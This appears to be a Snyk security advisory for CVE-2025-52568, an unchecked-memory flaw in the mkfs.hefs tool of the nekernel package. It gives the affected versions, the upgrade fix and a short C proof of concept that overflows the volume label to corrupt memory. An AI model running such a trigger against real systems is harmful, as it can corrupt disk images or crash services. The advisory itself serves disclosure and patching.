Allocation of Resources Without Limits or Throttling Affecting nekernel-org/nekernel package, versions [,0.0.3)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.14% (35th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Allocation of Resources Without Limits or Throttling vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-NEKERNELORGNEKERNEL-10734140
  • published14 Jul 2025
  • disclosed24 Jun 2025
  • credit0xf00sec

Introduced: 24 Jun 2025

CVE-2025-52568  (opens in a new tab)
CWE-770  (opens in a new tab)

How to fix?

Upgrade nekernel-org/nekernel to version 0.0.3 or higher.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to unchecked memory operations, unsafe typecasting, and improper input validation in the mkfs.hefs process. An attacker can cause memory corruption, disk image corruption, denial of service, or potentially execute arbitrary code by providing crafted input.

PoC

#define OVERFLOW_LEN 40
int main() {
    char label[OVERFLOW_LEN + 1];
    memset(label, 'A', OVERFLOW_LEN);
    label[OVERFLOW_LEN] = '\0';

    char cmd[1024];
    snprintf(cmd, sizeof(cmd),
        "./mkfs.hefs -L \"%s\" -s 512 "
        "-b 0x1000 -e 0x8000 "
        "-bs 0x8000 -be 0x800000 "
        "-is 0x800000 -ie 0xA00000 "
        "-S 128 -o hefs.img", label);

    return system(cmd);
}

CVSS Base Scores

version 4.0
version 3.1